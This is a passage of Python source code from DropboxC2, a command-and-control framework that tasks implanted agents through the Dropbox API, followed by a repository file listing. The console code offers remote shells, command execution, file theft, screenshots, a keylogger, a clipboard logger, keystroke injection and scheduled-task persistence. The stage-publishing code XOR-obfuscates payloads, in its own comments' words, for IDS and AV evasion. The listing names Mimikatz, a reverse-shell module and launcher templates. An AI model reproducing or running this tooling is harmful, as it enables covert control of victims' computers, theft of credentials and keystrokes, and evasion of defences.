		self.agentHandler = agentHandler
		self.statusHandler = statusHandler
		self.prompt = "[{:.10}]#> ".format(self.agentHandler.agentID)
	
	#------------------------------------------------------------------------------------	
	def do_back(self, args):
		"""Go back to the main menu"""
		return True
		
	#------------------------------------------------------------------------------------
	def do_use(self, args):
		"""use <agentID>\nSelect the current agent to work with. Must be an ACTIVE or SLEEPING agent"""
		
		# Validate arguments: should be an valid agentID
		if not args:
			print helpers.color("[!] Please specify an agent ID. Command format: use <agentID>")
			return
		
		agentID = args.split()[0]

		if self.statusHandler.agentIsKnown(agentID):
			if self.statusHandler.agentIsDead(agentID):
				print helpers.color("[!] Cannot use a 'DEAD' agent. Check for ALIVE or SLEEPING agent using the 'list' command")
				return
				
			print helpers.color("[*] Using agent ID [{}]".format(agentID))
			self.agentHandler.agentID = agentID
			self.prompt = "[{:.10}]#> ".format(agentID)
		else:
			print helpers.color("[!]Unkown agent ID [{}]".format(agentID))
	
	#------------------------------------------------------------------------------------
	def complete_use(self, text, line, startidx, endidx):
		return [agentID for agentID in self.statusHandler.agentList if self.statusHandler.agentIsAlive(agentID) and agentID.startswith(text)]

	#------------------------------------------------------------------------------------	
	def do_list(self, args):
		"""Show the list of all discovered agents with their current status"""
		helpers.printAgentList(self.statusHandler.agentList)

	#------------------------------------------------------------------------------------
	def do_taskList(self, args):
		"""Show the list of all pending tasks assigned to the current agent"""
		helpers.printPendingTaskList(self.statusHandler.pendingTaskList, self.agentHandler.agentID)
		
	#------------------------------------------------------------------------------------
	def do_cmd(self, args):
		"""Switches to the CLI command mode to task current agent with some CLI commands (cmd.exe)"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
			return

		userCmd = raw_input("Command: ")
		if userCmd:
			self.agentHandler.taskAgentWithCLI(userCmd)

	#------------------------------------------------------------------------------------
	def do_shell(self, args):
		"""Switches to an interactive shell on the agent side. The shell process is not killed until you 'exit' it"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
			return

				# Shorten the polling period for a more interactive and fast experience
		self.statusHandler.pollingPeriod = 2
		print helpers.color("[*] Temporarily change polling period to 2 seconds for a faster interaction")
		print helpers.color("[*] Entering interactive shell. Environment is persistent between commands and child process is not killed until you exit it")

		userCmd = ""
		while userCmd != "exit":	
			userCmd = raw_input("PS> ")
			if userCmd:
				if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
					print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
				else:
					self.agentHandler.taskAgentWithShell(userCmd)

		# Restore the default polling period
		print helpers.color("[*] Restoring default polling period")
		self.statusHandler.pollingPeriod = cfg.defaultPollingPeriod
	
	#------------------------------------------------------------------------------------
	def do_launchProcess(self, args):
		"""launchProcess <executable name or path> [arguments]\nInstruct the agent to launch a process in the background, with the given executable name and the optionnal arguments"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
			return
			
		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: launchProcess <executable name or path> [arguments]")
			return
		
		try:
			arguments = helpers.retrieveQuotedArgs(args,2)
		except ValueError as e:
			print helpers.color("[!] Wrong arguments format: {}".format(e))
			return
	
		# Path normalization for Windows
		exePath = arguments[0].replace("/","\\")
		parameters = arguments[1] if len(arguments) > 1 else " "
		
		self.agentHandler.taskAgentWithLaunchProcess(exePath, parameters)

	#------------------------------------------------------------------------------------
	def do_runPSModule(self, args):
		"""runPSModule <module name> [arguments]\nLoads a *published* PowerShell module with optionnal arguments, and optionnaly get a CLI to interact with it"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
			return
			
		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: runPSModule <module name> [arguments]")
			return
			
		# Retrieve arguments		
		arguments = args.split(' ',1)
		moduleName = arguments[0]
		moduleArgs = arguments[1] if len(arguments) > 1 else None
		
		# Check if the module is valid and published
		if not self.statusHandler.isValidModule(moduleName):
			print helpers.color("[!] Please specify a valid module. You can use 'listPublishedModule' to see them")
			return
		
		# Ask the user if he wants an interactive shell with the module loaded
		r = raw_input(helpers.color("[?] Once module loaded, do you want to get a powershell CLI to interact with it (y/N)?"))
		if r.lower() == "y":
			self.agentHandler.taskAgentWithRunPSModule(moduleName, moduleArgs, True)
			print helpers.color("[*] Please wait while the module is being loaded and a shell returned...")
			userCmd = ""
			while userCmd != "exit":	
				userCmd = raw_input("PS> ")
				if userCmd:
					if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
						print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
					else:
						self.agentHandler.taskAgentWithShell(userCmd)
		else:
			self.agentHandler.taskAgentWithRunPSModule(moduleName, moduleArgs)

	#------------------------------------------------------------------------------------
	def complete_runPSModule(self, text, line, startidx, endidx):
		return [moduleName for moduleName in self.statusHandler.publishedModuleList if moduleName.startswith(text)]
		
	#------------------------------------------------------------------------------------
	def do_sleep(self, args):
		"""sleep <amount of time>\nInstruct the current agent to sleep for a given amount of time. Amount of time is a combination of days, hours and minutes:\nsleep [0-infinite]d[0-23]h[0-59]m\nExample:\nsleep 1d12h45m"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked (either because it's DEAD or already tasked with something)")
			return
			
		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: sleep <amount of time>")
			return
		try:
			days = args[0:args.index('d')]
			hours = args[args.index('d')+1:args.index('h')]
			minutes = args[args.index('h')+1:args.index('m')]
		except ValueError:
			print helpers.color("[!] Wrong format for 'amount of time'. Must be a combination of days, hours and minutes:\nsleep [0-infinite]d[0-23]h[1-59]m\nExample: sleep 1d12h45m")
			return
		
		if not helpers.stringIsInt(days) or not helpers.stringIsInt(hours) or not helpers.stringIsInt(minutes):
			print helpers.color("[!] Wrong format for 'amount of time'. Must be a combination of days, hours and minutes:\nsleep [0-infinite]d[0-23]h[1-59]m\nExample: sleep 1d12h45m")
			return
		
		sleepTime = int(days)*86400 + int(hours)*60 + int(minutes)
		if sleepTime == 0: print helpers.color("[!] Wrong 'amount of time': Agent cannot sleep for 0 minute, must be at least 1 minute")
		else: self.agentHandler.taskAgentWithSleep(sleepTime)
		
	#------------------------------------------------------------------------------------
	def do_polling(self, args):
		"""polling <period> [deviation]\nSet the current agent polling period (seconds), with an optionnal deviation (percentage) between 10 and 50"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked (either because it's DEAD or already tasked with something)")
			return
		
		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: polling <period> [deviation]")
			return
		
		try:
			arguments = helpers.retrieveQuotedArgs(args,2)
		except ValueError as e:
			print helpers.color("[!] Wrong arguments format: {}".format(e))
			return

		try:
			period = int(arguments[0])
			deviation = int(arguments[1]) if len(arguments) > 1 else 50
		except ValueError:
			print helpers.color("[!] Arguments must be proper integers")
			return
		
		if period < 0:
			print helpers.color("[!] Period cannot be a negative number")
			return
		if deviation not in range(10,51):
			print helpers.color("[!] Deviation can only be between 10 and 50%")
			return
			
		self.agentHandler.taskAgentWithNewPolling(period, deviation)
		
	#------------------------------------------------------------------------------------
	def do_sendFile(self, args):
		"""sendFile <local file> [destination directory]\nSend a local file to the current agent. If no destination directory is provided, %TEMP% is used"""

		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked (either because it's DEAD or already tasked with something)")
			return
		
		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: sendFile <local file> [destination path]")
			return
		
		try:
			arguments = helpers.retrieveQuotedArgs(args,2)
		except ValueError as e:
			print helpers.color("[!] Wrong arguments format: {}".format(e))
			return
	
		localFile = arguments[0]
		
		# Path normalization for Windows
		if len(arguments) > 1:
			# Add a trailing backslash if missing and replace forward slashes to backslashes
			destinationPath = arguments[1].replace("/","\\") + "\\" if arguments[1][-1] != "\\" else arguments[1].replace("/","\\")
		else:
			destinationPath = "temp"
		
		if os.path.isfile(localFile):
				self.agentHandler.taskAgentWithSendFile(localFile, destinationPath)
		else:
			print helpers.color("[!] Unable to find local file [{}] in the default PATH".format(localFile))
		
	#------------------------------------------------------------------------------------
	def complete_sendFile(self, text, line, startidx, endidx):
		result = []
		for f in os.listdir('.'):
			if os.path.isfile(f) and f.startswith(text):
				if f.count(' ') > 0:
					result.append('"' + f + '"')
				else:
					result.append(f)
		return result

	#------------------------------------------------------------------------------------
	def do_getFile(self, args):
		"""getFile <agent local file>\nDownload a file from the agent to the local system"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
			return
		
		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: getFile <agent local file>")
			return
		
		try:
			arguments = helpers.retrieveQuotedArgs(args,1)
		except ValueError as e:
			print helpers.color("[!] Wrong arguments format: {}".format(e))
			return

		# Path normalization for Windows
		filePath = arguments[0].replace("/","\\")
		
		self.agentHandler.taskAgentWithGetFile(filePath)

	#------------------------------------------------------------------------------------
	def do_screenshot(self, args):
		"""screenshot\nTake a screenshot of the agent screen, in JPG format, and download it"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
			return

		self.agentHandler.taskAgentWithScreenshot()

	#------------------------------------------------------------------------------------
	def do_keylogger(self, args):
		"""keylogger <start|stop>\nStart or stops a keylogger"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
			return
			
		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: keylogger <start|stop>")
			return
			
		# Retrieve arguments
		if args not in ['start', 'stop']:
			print helpers.color("[!] Invalid arguments. Command format: keylogger <start|stop>")
			return	
		
		self.agentHandler.taskAgentWithKeylogger(args)

	#------------------------------------------------------------------------------------
	def complete_keylogger(self, text, line, startidx, endidx):
		return [a for a in ['start', 'stop'] if a.startswith(text)]

	#------------------------------------------------------------------------------------
	def do_clipboardLogger(self, args):
		"""clipboardLogger <start|stop>\nStart or stops a clipboard logger"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
			return
			
		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: clipboardLogger <start|stop>")
			return
			
		# Retrieve arguments
		if args not in ['start', 'stop']:
			print helpers.color("[!] Invalid arguments. Command format: keylogger <start|stop>")
			return	
		
		self.agentHandler.taskAgentWithClipboardLogger(args)

	#------------------------------------------------------------------------------------
	def complete_clipboardLogger(self, text, line, startidx, endidx):
		return [a for a in ['start', 'stop'] if a.startswith(text)]

	#------------------------------------------------------------------------------------
	def do_sendKeystrokes(self, args):
		"""sendKeystrokes <process_name> <keys>\nSend specified key strokes to the process identified by its name.\nRef: https://msdn.microsoft.com/en-us/library/aa266279(v=vs.60).aspx"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked (either because it's DEAD or already tasked with something)")
			return
		
		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: sendKeystrokes <process_name> <keys>")
			return
		
		arguments = args.split(' ',1)
		
		if len(arguments) < 2:
			print helpers.color("[!] Missing arguments. Command format: sendKeystrokes <process_name> <keys>")
			return
		
		procName = arguments[0]
		keyStrokes = arguments[1]

		self.agentHandler.taskAgentWithSendKeystrokes(procName, keyStrokes)

	#------------------------------------------------------------------------------------
	def do_stop(self, args):
		"""stop\nStop the current agent"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
			return

		confirmation = raw_input(helpers.color("[!] Ask remote agent to stop itself? Are you sure? (y/N) "))
		if confirmation.lower() == 'y':
			self.agentHandler.taskAgentWithStop()

	#------------------------------------------------------------------------------------
	def do_persist(self, args):
		"""persist\nEnable agent persistency by the means of a scheduled task"""

		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
			return

		confirmation = raw_input(helpers.color("[!] Set agent persistency? Are you sure? (y/N) "))
		if confirmation.lower() == 'y':
			self.agentHandler.taskAgentWithPersist()

	#------------------------------------------------------------------------------------
	def complete_persist(self, text, line, startidx, endidx):
		return [a for a in self.statusHandler.publishedStageList if a.startswith(text)]

	#------------------------------------------------------------------------------------
	def do_exit(self, args):
		"""Exit the program"""
		raise KeyboardInterrupt
		return True

	#------------------------------------------------------------------------------------
	def do_help(self, args):
		"""Show the help menu"""
		cmd.Cmd.do_help(self, args)

	#------------------------------------------------------------------------------------
	def emptyline(self):
		pass


================================================
FILE: lib/crypto.py
================================================
# -*- coding: utf8 -*-
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from os import urandom
import base64

#****************************************************************************************
# Class providing AES-128 CBC with PKCS7 padding cryptographic operations
#****************************************************************************************
class Crypto(object):

	#-----------------------------------------------------------
 	@classmethod
	def createKey(cls, outputFormat = "raw"):
		if outputFormat == "raw":
			return urandom(16) # 128bits AES is an agreed trade off between security and performances
		else:
			return base64.b64encode(urandom(16))

	#-----------------------------------------------------------
	@classmethod
	def encryptData(cls, clearText, key):
		"""Encrypts data with the provided key.
		The returned byte array is as follow:
		:==============:==================================================:
		: IV (16bytes) :    Encrypted (data + PKCS7 padding information)  :
		:==============:==================================================:
		"""

		# Generate a crypto secure random Initialization Vector
		iv = urandom(AES.block_size)

		# Perform PKCS7 padding so that clearText is a multiple of the block size
		clearText = cls.pad(clearText)

		cipher = AES.new(key, AES.MODE_CBC, iv)
		return iv + cipher.encrypt(clearText)

    #-----------------------------------------------------------
	@classmethod
	def decryptData(cls, cipherText, key):
		"""Decrypt data with the provided key"""

		# Initialization Vector is in the first 16 bytes
		iv = cipherText[:AES.block_size]

		cipher = AES.new(key, AES.MODE_CBC, iv)
		return cls.unpad(cipher.decrypt(cipherText[AES.block_size:]))

	#------------------------------------------------------------------------
	@classmethod
	def xor(cls, data, key):
		l = len(key)
		keyAsInt = map(ord, key)
		return bytes(bytearray((
		    (data[i] ^ keyAsInt[i % l]) for i in range(0,len(data))
		)))
    
	#------------------------------------------------------------------------
	@classmethod
	def convertKey(cls, key, outputFormat = "raw"):
		if outputFormat == "raw":
			return base64.b64decode(key)
		elif outputFormat == "sha256":
			return SHA256.new(key).hexdigest()
		else:
			return base64.b64encode(key)
			

	#------------------------------------------------------------------------
	@classmethod
	def pad(cls, s):
		"""PKCS7 padding"""
		return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)

	#------------------------------------------------------------------------
	@classmethod
	def unpad(cls, s):
		"""PKCS7 padding removal"""
		return s[:-ord(s[len(s)-1:])]


================================================
FILE: lib/dropboxHandler.py
================================================
# -*- coding: utf8 -*-
import requests
from lib import helpers

#****************************************************************************************
# Class handling raw HTTP communications with the Dropbox server
#****************************************************************************************
class DropboxHandler:
	""" This class provides wrapping methods for raw HTTP communications with the Dropbox server
	"""
	
	#-----------------------------------------------------------
	def __init__(self, token):
		self.token = token
		self.authorization = "Bearer " + token
		self.dropboxAPI = {
			'listFolder': 'https://api.dropboxapi.com/2/files/list_folder',
			'uploadFile': 'https://content.dropboxapi.com/2/files/upload',
			'downloadFile': 'https://content.dropboxapi.com/2/files/download',
			'deleteFile': 'https://api.dropboxapi.com/2/files/delete',
			'getMetaData': 'https://api.dropboxapi.com/2/files/get_metadata',
			'shareFile': 'https://api.dropboxapi.com/2/sharing/create_shared_link_with_settings',
			'getSharedLink': 'https://api.dropboxapi.com/2/sharing/list_shared_links'
		}
	
	#-----------------------------------------------------------
	def sendRequest(self, url, headers, data = None, resultFormat = "text"):
		try:
			headers['Authorization'] = self.authorization
			
			# Perform the request
			r = requests.post(url,headers=headers,data=data)
			
			if r.status_code != requests.codes.ok:
				print helpers.color("[!]Wrong HTTP status code received")
				print helpers.color(r.text,"red")	
				return None
			
			if resultFormat == "text":
				return r.text
			elif resultFormat == "json":
				return r.json()
			else:
				return r.content
		except requests.RequestException as e:
			print helpers.color("[!]Error communicating with the Dropbox server")
			print helpers.color(e,"red")
			return None
		except ValueError as e:
			print helpers.color("[!]Error decoding JSON response")
			print helpers.color(e,"red")
			return None
	
	#-----------------------------------------------------------
	def deleteFile(self, path):
		# Set required headers
		headers = {
			'Content-Type': 'application/json'				
		}
		
		data = '{"path": "' + path + '"}'
		
		return self.sendRequest(self.dropboxAPI['deleteFile'], headers, data)
	
	#-----------------------------------------------------------
	def listFolder(self, path, resultFormat = "json"):
		# Set required headers
		headers = {
			'Content-Type': 'application/json'				
		}
		
		data = "{\"path\": \"" + path +"\",\"recursive\": false,\"include_media_info\": false,\"include_deleted\": false,\"include_has_explicit_shared_members\": false}"
			
		return self.sendRequest(self.dropboxAPI['listFolder'], headers, data, resultFormat=resultFormat)
	
	#-----------------------------------------------------------
	def readFile(self, path, resultFormat = "text"):
		# Set required headers
		headers = {
			'Dropbox-API-Arg': '{"path": "' + path + '"}'
		}
		
		return self.sendRequest(self.dropboxAPI['downloadFile'], headers, resultFormat=resultFormat)
	
	#-----------------------------------------------------------
	def putFile(self, path, data):
		# Set required headers
		headers = {
			'Content-Type': 'application/octet-stream',
			'Dropbox-API-Arg': '{"path": "' + path + '","mode": "overwrite","autorename": false,"mute": true}'
		}

		return self.sendRequest(self.dropboxAPI['uploadFile'], headers, data)
		
	#-----------------------------------------------------------
	def getMetaData(self, path):
		# Set required headers
		headers = {
			'Content-Type': 'application/json'
		}
		
		# Prepare request body
		data = '{"path": "' + path + '","include_media_info": false,"include_deleted": false,"include_has_explicit_shared_members": false}'
		
		return self.sendRequest(self.dropboxAPI['getMetaData'], headers, data)

	#-----------------------------------------------------------
	def shareFile(self, path):
		# Set required headers
		headers = {
			'Content-Type': 'application/json'
		}
		
		# Prepare request body
		data = '{"path": "' + path + '", "settings": { "requested_visibility": "public"}}'
		
		return self.sendRequest(self.dropboxAPI['shareFile'], headers, data, resultFormat = "json")

	#-----------------------------------------------------------
	def getSharedLink(self, path):
		# Set required headers
		headers = {
			'Content-Type': 'application/json'
		}
		
		# Prepare request body
		data = '{"path": "' + path + '"}'
		
		return self.sendRequest(self.dropboxAPI['getSharedLink'], headers, data, resultFormat = "json")


================================================
FILE: lib/helpers.py
================================================
# -*- coding: utf8 -*-
"""

Miscelaneous helper functions used in DropboxC2

"""
import string
import base64
import shlex
from Crypto.Random import random
from tabulate import tabulate
from string import Template

#------------------------------------------------------------------------
def printAgentList(agentList):
	table = []
	table.append(["Agent ID", "Status", "Last Beacon (UTC)", "Wake Up time (UTC)"])
	for agentID, agentInfo in agentList.items():
		line = []
		line.append(agentID)
		line.append(agentInfo['status'])
		line.append(agentInfo['lastBeacon'])
		line.append(agentInfo['wakeUpTime'])
		table.append(line)
	
	print ""	
	print tabulate(table, headers="firstrow")
	print ""

#------------------------------------------------------------------------
def printStageList(stageList):
	table = []
	table.append(["Stage name", "Public link"])
	for stageName, stageLink in stageList.items():
		line = []
		line.append(stageName)
		line.append(stageLink)
		table.append(line)
	
	print ""	
	print tabulate(table, headers="firstrow")
	print ""

#------------------------------------------------------------------------
def printModuleList(moduleList):
	table = []
	table.append(["Module name", "Public link"])
	for moduleName, moduleLink in moduleList.items():
		line = []
		line.append(moduleName)
		line.append(moduleLink)
		table.append(line)
	
	print ""	
	print tabulate(table, headers="firstrow")
	print ""


#------------------------------------------------------------------------
def printPendingTaskList(pendingTaskList, agentID = 0):
	if not pendingTaskList:
		print color("[*]Task list is empty...")
		return
		
	table = []
	table.append(["Agent ID", "Task ID", "Command", "Arguments"])

	for task in pendingTaskList:
		if task['agentID'] == agentID or agentID == 0:
			line = []
			line.append(task['agentID'])
			line.append(task['id'])
			line.append(task['cmd'])
			line.append(" ".join(task['args']))
			table.append(line)

	print ""	
	print tabulate(table, headers="firstrow")
	print ""

#------------------------------------------------------------------------
def b64encode(data):
	return base64.b64encode(data)

def b64decode(data):
	return base64.b64decode(data)

#------------------------------------------------------------------------
def randomString(length = -1, charset = string.ascii_letters):
    """
    Author: HarmJ0y, borrowed from Empire
    Returns a random string of "length" characters.
    If no length is specified, resulting string is in between 6 and 15 characters.
    A character set can be specified, defaulting to just alpha letters.
    """
    if length == -1: length = random.randrange(6,16)
    random_string = ''.join(random.choice(charset) for x in range(length))
    return random_string

#------------------------------------------------------------------------
def randomInt(minimum, maximum):
	""" Returns a random integer between or equald to minimum and maximum
	"""
	if minimum < 0: minimum = 0
	if maximum < 0: maximum = 100
	return random.randint(minimum, maximum)

#------------------------------------------------------------------------
def chunks(s, n):
	"""
	Author: HarmJ0y, borrowed from Empire
	Generator to split a string s into chunks of size n.
	"""
	for i in xrange(0, len(s), n):
		yield s[i:i+n]

#------------------------------------------------------------------------
def stringIsInt(s):
    try: 
        int(s)
        return True
    except ValueError:
        return False

#------------------------------------------------------------------------
def powershellEncode(rawData):
	"""
	Author: HarmJ0y, borrowed from Empire
	Encode a PowerShell command into a form usable by powershell.exe -enc ...
	"""
	return base64.b64encode("".join([char + "\x00" for char in unicode(rawData)]))

#------------------------------------------------------------------------
def convertFromTemplate(parameters, templateFile):
	try:
		with open(templateFile) as f:
			src = Template(f.read())
			result = src.substitute(parameters)
			f.close()
			return result
	except IOError:
		print helpers.color("[!] Could not open or read template file [{}]".format(templateFile))
		return None

#------------------------------------------------------------------------
def retrieveQuotedArgs(args, maxNbArgs):
	"""Parses arguments that may contain double quote for escaping spaces in arguments"""
	nbArgs = 0
	result = []

	# Remove trailing and starting spaces
	args = args.strip()

	temp = shlex.split(args)
	if len(temp) <= maxNbArgs:
		return temp
	else:
		result = temp[:maxNbArgs-1]
		result.append(' '.join(temp[maxNbArgs-1:len(temp)]))
		return result

#------------------------------------------------------------------------
def color(string, color=None):
    """
    Author: HarmJ0y, borrowed from Empire
    Change text color for the Linux terminal.
    """
    
    attr = []
    # bold
    attr.append('1')
    
    if color:
        if color.lower() == "red":
            attr.append('31')
        elif color.lower() == "green":
            attr.append('32')
        elif color.lower() == "blue":
            attr.append('34')
        return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)

    else:
        if string.strip().startswith("[!]"):
            attr.append('31')
            return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
        elif string.strip().startswith("[+]"):
            attr.append('32')
            return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
        elif string.strip().startswith("[?]"):
            attr.append('33')
            return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
        elif string.strip().startswith("[*]"):
            attr.append('34')
            return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
        else:
            return string

#------------------------------------------------------------------------
def printBanner():
	print color("""
                                                                        
██████╗ ██████╗  ██████╗ ██████╗ ██████╗  ██████╗ ██╗  ██╗ ██████╗██████╗ 
██╔══██╗██╔══██╗██╔═══██╗██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝╚════██╗
██║  ██║██████╔╝██║   ██║██████╔╝██████╔╝██║   ██║ ╚███╔╝ ██║      █████╔╝
██║  ██║██╔══██╗██║   ██║██╔═══╝ ██╔══██╗██║   ██║ ██╔██╗ ██║     ██╔═══╝ 
██████╔╝██║  ██║╚██████╔╝██║     ██████╔╝╚██████╔╝██╔╝ ██╗╚██████╗███████╗
╚═════╝ ╚═╝  ╚═╝ ╚═════╝ ╚═╝     ╚═════╝  ╚═════╝ ╚═╝  ╚═╝ ╚═════╝╚══════╝
                                                                                                                 
	""", "blue")



================================================
FILE: lib/mainHandler.py
================================================
# -*- coding: utf8 -*-
import config as cfg
from lib import helpers
from lib import stagers
from lib.crypto import Crypto

#****************************************************************************************
# Class handling main menu commands and interactions
#****************************************************************************************
class MainHandler:
	""" This class provides all functions used in the main menu
	"""

	#------------------------------------------------------------------------------------
	def __init__(self, dropboxHandler, statusHandler):
		self.dropboxHandler = dropboxHandler
		self.statusHandler = statusHandler
	
	#------------------------------------------------------------------------------------
	def publishStage(self, stageLocalPath, stageName):

		print helpers.color("[*] Publishing [{}] to the C2 server".format(stageLocalPath))
		remoteFilePath = "/" + stageName + ".aa"

		# Get a SHA256 hash value of the master key
		# (!!) : Because we use XOR for obfuscating the stage (not proper encryption, just for IDS / AV evasion),
		# it would not be wise to use the master key that is also used for end-to-end data encryption
		xorKey = Crypto.convertKey(self.statusHandler.masterKey, outputFormat = "sha256")

		# XOR Encrypt the agent stage file and then upload it to the C2 server
		try:
			with open(stageLocalPath) as agentFileHandle:
				r = self.dropboxHandler.putFile(remoteFilePath, Crypto.xor(bytearray(agentFileHandle.read()), xorKey))
				agentFileHandle.close()

				if r is None:
					return
				else:
					print helpers.color("[*] Agent stage XOR encrypted with key [{}] and successfully published".format(xorKey))
		except IOError:
			print helpers.color("[!] Could not open or read file [{}]".format(stageLocalPath))
			return		

		# Share the file with a public URL and retrieve the URL
		r = self.dropboxHandler.shareFile(remoteFilePath)

		if r is None:
			return

		# Get the public URL from the answer
		try:
			stageURL = r['url'].replace("dl=0","dl=1")
			self.statusHandler.addStage(stageName, stageURL)
			print helpers.color("[*] Stage successfully shared with public URL [{}]".format(stageURL))
		except KeyError:
			print helpers.color("[!] Error parsing JSON looking for 'url' entry")
			print helpers.color("[!] Stage has NOT been shared as a public URL")

	#------------------------------------------------------------------------------------
	def deletePublishedStage(self, stageName):

		stageFileName = "/" + stageName + ".aa"
		if self.dropboxHandler.deleteFile(stageFileName) is not None:
			self.statusHandler.removeStage(stageName)
			print helpers.color("[*] Published stage [{}] has been successfully deleted from C2 server".format(stageName))
		else:
			print helpers.color("[!] Error deleting published stage [{}] from C2 server".format(stageName))

	#------------------------------------------------------------------------------------
	def publishModule(self, moduleLocalPath, moduleName):

		print helpers.color("[*] Publishing [{}] to the C2 server".format(moduleLocalPath))
		remoteFilePath = "/" + moduleName + ".mm"

		# Get a SHA256 hash value of the master key
		# (!!) : Because we use XOR for obfuscating the stage (not proper encryption, just for IDS / AV evasion),
		# it 
Download .txt
gitextract_hzmncq31/

├── .gitignore
├── agent/
│   └── source/
│       ├── crypto.cs
│       ├── dbc2_agent.cs
│       ├── dropboxHandler.cs
│       └── misc.cs
├── dbc2Loader/
│   ├── dbc2Loader.cs
│   ├── nativeWrapper/
│   │   ├── ConvertTo-Shellcode.ps1
│   │   ├── dbc2LoaderWrapperCLR.cpp
│   │   ├── dbc2LoaderWrapperCLR.h
│   │   └── readme.md
│   └── readme.md
├── dropboxC2.py
├── lib/
│   ├── __init__.py
│   ├── agentHandler.py
│   ├── console.py
│   ├── crypto.py
│   ├── dropboxHandler.py
│   ├── helpers.py
│   ├── mainHandler.py
│   ├── pollingThread.py
│   ├── stagers.py
│   └── statusHandler.py
├── modules/
│   ├── Fun.ps1
│   ├── Invoke-Mimikatz.ps1
│   ├── Invoke-NTLMAuth.ps1
│   ├── Invoke-PowerDump.ps1
│   ├── Invoke-ReflectivePEInjection.ps1
│   ├── Invoke-SendReverseShell.ps1
│   ├── MailRaider.ps1
│   ├── PowerView.ps1
│   ├── Powercat.ps1
│   └── dnscat2.ps1
├── readme.md
├── requirements.txt
└── templates/
    ├── batch.tpl
    ├── dbc2Loader.tpl
    ├── ducky.tpl
    ├── javascript.tpl
    ├── msbuild.tpl
    ├── oneliner.tpl
    ├── oneliner2.tpl
    ├── persist.tpl
    ├── posh.tpl
    ├── posh.tpl.old
    ├── runPSModule.tpl
    └── sct.tpl
Download .txt
SYMBOL INDEX (200 symbols across 15 files)

FILE: agent/source/crypto.cs
  class Crypto (line 13) | static class Crypto
    method SubArray (line 15) | public static T[] SubArray<T>(this T[] data, int index, int length)
    method GetMD5Hash (line 22) | public static byte[] GetMD5Hash(byte[] source)
    method EncryptData (line 34) | static public byte[] EncryptData(byte[] plainMessage, byte[] key)
    method DecryptData (line 74) | static public byte[] DecryptData(byte[] cipher, byte[] key)

FILE: agent/source/dbc2_agent.cs
  class C2_Agent (line 47) | [ComVisible(true)]
    method C2_Agent (line 78) | public C2_Agent(string[] args)
    method Main (line 99) | #if (DLLEXPORT)
    method Run (line 110) | private void Run()
    method getRandomPeriod (line 592) | private int getRandomPeriod()
    method runShell (line 603) | private void runShell(string command)
    method runCMD (line 693) | private string runCMD(string command)
    method launchProcess (line 744) | private bool launchProcess(string exeName, string args)
    method createAgentID (line 780) | private string createAgentID()

FILE: agent/source/dropboxHandler.cs
  class DropboxHandler (line 15) | class DropboxHandler
    method DropboxHandler (line 34) | public DropboxHandler (string token)
    method putFile (line 63) | public string putFile (string path, byte[] data)
    method getRevNumber (line 104) | public string getRevNumber(string path)
    method deleteFile (line 139) | public bool deleteFile(string path)
    method readFile (line 170) | public byte[] readFile(string path)
    method downloadFile (line 200) | public bool downloadFile(string remoteFile, string localFile)

FILE: agent/source/misc.cs
  class NativeFunctions (line 18) | internal static class NativeFunctions
    method GetAsyncKeyState (line 20) | [DllImport("user32.dll")]
    method SetForegroundWindow (line 23) | [DllImport("user32.dll")]
    method ShowWindow (line 25) | [DllImport("user32.dll")]
    method AddClipboardFormatListener (line 28) | [DllImport("user32.dll", SetLastError = true)]
    method SetParent (line 31) | [DllImport("user32.dll", SetLastError = true)]
  class KeyLogger (line 41) | public static class KeyLogger
